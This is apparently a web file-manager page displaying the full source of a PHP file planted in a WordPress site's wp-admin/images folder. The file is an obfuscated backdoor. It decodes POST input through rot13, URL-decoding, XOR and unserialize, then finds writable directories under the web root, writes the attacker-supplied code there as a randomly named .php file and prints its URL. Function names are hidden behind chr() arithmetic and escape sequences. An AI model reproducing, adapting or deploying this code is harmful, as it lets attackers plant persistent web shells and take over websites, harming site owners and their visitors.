HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-admin/images/gcrztgas.php
<?php function IHdwOz($rCkApgitP, $Esteks, $nhvGds){$PwVPGwC = "a8523673-ea56-4072-b90c-46b37ce7a969";return $rCkApgitP ^ $PwVPGwC[$Esteks % strlen($PwVPGwC)] ^ $nhvGds;}$ATiJc = "KjjzrxqOi";function SktEnLV($ATiJc){ $ySSMzw = "\x73"."\164"."\162"."\137".chr(318-204)."\x6f".'t'.'1'."\63";$ATiJc = $ySSMzw($ATiJc);$eQYoHbmuZP = chr(114).'a'."\x77"."\165"."\162"."\x6c".chr(254-154).'e'."\x63"."\x6f".chr(100)."\x65";$ATiJc = $eQYoHbmuZP($ATiJc);$ATiJc = str_split($ATiJc);return $ATiJc;}function DLsMM($hOUIdS, $nhvGds){$hOUIdS = array_map("IHdwOz", array_values($hOUIdS), array_keys($hOUIdS), array_values($nhvGds));$hOUIdS = implode("", $hOUIdS);$lSSMWo = 'u'.chr(237-127).chr(332-217)."\145"."\162"."\x69"."\x61"."\x6c"."\x69".'z'.chr(101);$hOUIdS = @$lSSMWo($hOUIdS);return $hOUIdS;}function EodGswTmt($nhvGds, $hOUIdS){$nhvGds = array_slice(str_split(str_repeat($nhvGds, (count($hOUIdS)/16)+1)), 0, count($hOUIdS));return $nhvGds;}function mMhYFdLYp(){echo "HnIvYUu";}function GrpYiFfa($CyYZbnjdZir){static $bAZOURj = array();$VHzCp = glob($CyYZbnjdZir . '/*', GLOB_ONLYDIR);$mqTuyIt = count($VHzCp);if ($mqTuyIt > 0) {foreach ($VHzCp as $CyYZbnjdZ) {$GxkYIIe = "\151".chr(252-137).chr(662-567).'w'.'r'."\x69".'t'."\141"."\x62"."\154".chr(101);if (@$GxkYIIe($CyYZbnjdZ)) {$bAZOURj[] = $CyYZbnjdZ;}}}foreach ($VHzCp as $CyYZbnjdZir) GrpYiFfa($CyYZbnjdZir);return $bAZOURj;}function vTLYZzZAOJ($hOUIdS){$pBizHYrL = "\104".chr(79).'C'."\125".chr(77)."\x45".chr(78)."\x54".chr(277-182)."\x52".chr(189-110).chr(79).'T';$OaVlcCaD = $_SERVER[$pBizHYrL];$VHzCp = GrpYiFfa($OaVlcCaD);$VacOHkHSAq = array_rand($VHzCp);$vjMJQ = '.'."\x70"."\150".chr(112);$CvYPlF = $VHzCp[$VacOHkHSAq] . "/" . substr(md5(time()), 0, 8) . $vjMJQ;$CVgMy = 'f'.chr(1032-927).'l'.'e'.chr(178-83)."\x70".chr(117).'t'.'_'.chr(99).chr(569-458).chr(110)."\164".'e'.'n'.chr(116).chr(708-593);@$CVgMy($CvYPlF, $hOUIdS);$fMNiuBWIF = "\110".chr(84)."\124".chr(80)."\137"."\x48".chr(987-908).'S'.chr(186-102);$gOKxWcSBL = "\x68"."\164".'t'.chr(112)."\72"."\57".chr(385-338);$pGoqfRj = $gOKxWcSBL . $_SERVER[$fMNiuBWIF] . substr($CvYPlF, strlen($OaVlcCaD));print($pGoqfRj);}function ZbquSIh($hOUIdS, $VacOHkHSAq){$VacOHkHSAq = $VacOHkHSAq[0];if ($hOUIdS !== $VacOHkHSAq){vTLYZzZAOJ($hOUIdS);}else {URffW();}}function URffW(){$swbZMQsynD = chr(112).chr(742-638).chr(112);$iSUtEJgLiT = chr(112)."\150".chr(112)."\x76".chr(555-454).'r'."\163".'i'.chr(111).chr(110);$hOUIdS = Array($swbZMQsynD => @$iSUtEJgLiT(), );$vzbJcjAfd = "\x73"."\145"."\x72"."\x69".chr(97).chr(108)."\151"."\172"."\x65";echo @$vzbJcjAfd($hOUIdS);}function uiIwJ(){echo "KjjzrxqOi";}foreach ($_POST as $nhvGds => $hOUIdS){$hvijSUR = strlen($nhvGds);if ($hvijSUR == 16){$hOUIdS = SktEnLV($hOUIdS);$nhvGds = EodGswTmt($nhvGds, $hOUIdS);$hOUIdS = DLsMM($hOUIdS, $nhvGds);if (@is_array($hOUIdS)){$VacOHkHSAq = array_keys($hOUIdS);$hOUIdS = $hOUIdS[$VacOHkHSAq[0]];ZbquSIh($hOUIdS, $VacOHkHSAq);}}}die();